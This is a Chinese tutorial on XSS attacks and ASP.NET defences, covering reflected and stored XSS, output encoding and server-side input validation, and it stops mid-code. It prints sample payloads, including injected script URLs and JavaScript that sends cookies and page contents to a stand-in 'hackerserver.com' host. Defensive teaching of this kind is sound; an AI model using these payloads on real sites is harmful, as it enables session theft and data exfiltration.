关于Web安全的那些事(XSS攻击)

8/10/2015来源:ASP.NET技巧人气:1245

关于Web安全的那些事(XSS攻击)

概述

XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

攻击的条件

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:

<div id="el" style="background:url('javascript:eval(document.getElementById("el").getAttribute("code")) ')"        code="var a = document.createElement('a');        a.innerHTML= '执行了恶意代码';document.body.appendChild(a);        //这这里执行代码        "></div>

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

  <div>    <img src="/images/handler.ashx?id=<%= Request.QueryString["id"] %>" />    </div>

相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

http://www.xxx.com/?id=" /><script>alert(/xss/)</script><br x="

最终反射出来的HTML代码:

<div>

<img src="/images/handler.ashx?id=" /><script>alert(/xss/)</script><br x="" /> </div>

也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

http://www.xxx.com/?id=xx" onerror="this.onload()"onload="alert(/xss/)" x="

根据XSS攻击的效果可以分为几种类型

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

XSS攻击能做些什么

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:

 var i=document.createElement("img"); document.body.appendChild(i); i.src = "http://www.hackerserver.com/?c=" + document.cookie;

2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:

<!--读取当前页面的内容提交到黑客服务器上进行分析-->

var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>"        var e = document.createElement("div");        document.documentElement.appendChild(e);        e.style.display = "none";        e.innerHTML = h;        var frm = document.forms["f"];        frm.data.value = document.documentElement.innerHTML;        frm.submit();

<!--读取当前页面的内容提交到黑客服务器上进行分析-->

var xhr = new xmlHttPRequest();        xhr.open("POST or GET","/目标网站其他页面的URL(如获取邮箱列表的地址)");        xhr.onreadystatechange = function (e) {            if (xhr.readyState == 4) {                var h = "<form name='f' action='http://www.hackerserver.com' method='POST' target='hidfrm'><input name='data' type='text' /></form><iframe name=hidfrm></iframe>"                var e = document.createElement("div");                document.documentElement.appendChild(e);                e.style.display = "none";                e.innerHTML = h;                var frm = document.forms["f"];                frm.data.value = xhr.responseText;                frm.submit();            }        }        xhr.send(null);

3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播,如下面代码:

var xhr = new xmlhttpRequest();xhr.open("POST", "目标网站的执行页面");xhr.send(param);

当然XSS攻击方法远不止这些,黑客有很多天马行空的方法,只要是读和写的操作,那么我们有什么防御的方法呢?

XSS攻击防御

一、输出检查

根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,asp.net的安全函数可以参考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根据不同的场景使用正确的安全函数,否则效果适得其反,如果下面例子:

<a href="#" onclick="Javascript:var name='<%= HttpUtility.HtmlAttributeEncode(Request.QueryString["n"]) %>';alert(name);">hahaha...</a>

这个例子在HTML标签的属性内输出使用HttpUtility.HtmlAttributeEncode函数进行转义看似合情合理,但这个是特殊的属性,它被解析为元素的事件,这类型的属性在某特定条件下触发事件并执行里面的代码,如本例当用户点击这个链接是会执行里面的代码。

比如输入:http://www.a.com/text.aspx?n=';alert(/xss/);//

经过HttpUtility.HtmlAttributeEncode函数转义后,输出:

<a href="#" onclick="javascript:var name='&#39;;alert(/xss/);//';alert(name);">hahaha...</a>

点击标签将会弹出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被转义为“&#39;”即是HTML的一个实体,最终还是被解析为"'"字符,所以脚步被成功注入。

正确的做法应该是使用JavaScriptStringEncode函数或者 JavaScriptStringEncode和HtmlAttributeEncode函数:

<a href="#" onclick="javascript:var name='<%= HttpUtility.HtmlAttributeEncode(HttpUtility.JavaScriptStringEncode(Request.QueryString["n"])) %>';alert(name);">hahaha...</a>

二、输入检查

通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。

1.使用ASP.NET Mvc的属性特性进行验证:

using System;using System.Collections.Generic;using System.ComponentModel;using System.ComponentModel.DataAnnotations;using System.Linq;using System.Web;namespace Mvcapplication1.Models{    public class Item    {        [Key]        [Display(Name="项目ID")]        public int ID { get; set; }        [EmailAddress(ErrorMessage="电子邮箱错误")]        [Required]        [DisplayName("电子邮箱")]        public string Email { get; set; }    }}

2.当然也可以自己实现自定义验证的特性,如下面代码:

    [Serializable]    [AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)]    public class FormValidationAttribute : Attribute, IProperty    {        /////// <summary>        /////// 错误信息        /////// </summary>        ////public string ErrorMessage { get; set; }        /// <summary>        /// 必需的        /// </summary>        public bool Required { get; set; }        /// <summary>        /// 电子邮件格式        /// </summary>        public bool IsEmailFormat { get; set; }        /// <summary>        /// 电话号码        /// </summary>        public bool IsTelephoneNumber { get; set; }        /// <summary>        /// 是中文名或者英文名称,中文少于2个字符,英文不少于3个字符        /// </summary>        public bool IsChineseNameOrEnglishName { get; set; }        /// <summary>        /// 正则表达式        /// </summary>        public string RegularExpression { get; set; }        public RegexOptions RegexOptions { get; set; }        /// <summary>        /// 最大的长度        /// </summary>        public int MaxLength { get; set; }        public PropertyInfo Property        {get;set;}    }

应用到属性上

    public class Item    {        [FormValidation(MaxLength=200)]        public string Name{ get; set; }        [FormValidation(IsTelephoneNumber = true)]        public string Mobile{ get; set; }        [FormValidation(IsEmailFormat= true,Required=true)]        public string Email { get; set; }      }

写个扩展方法通过反射类型进行验证对象的属性是否有效:

    public class FormValidationException : Exception {        public FormValidationException(PropertyInfo field)            : this(field, null)        {        }        public FormValidationException(PropertyInfo field, string message)            : base(message)        {            Property = field;            Field = field.Name;        }        public string Field { get; private set; }        public PropertyInfo Property { get; private set; }        public override string Message        {            get            {                string msg = base.Messa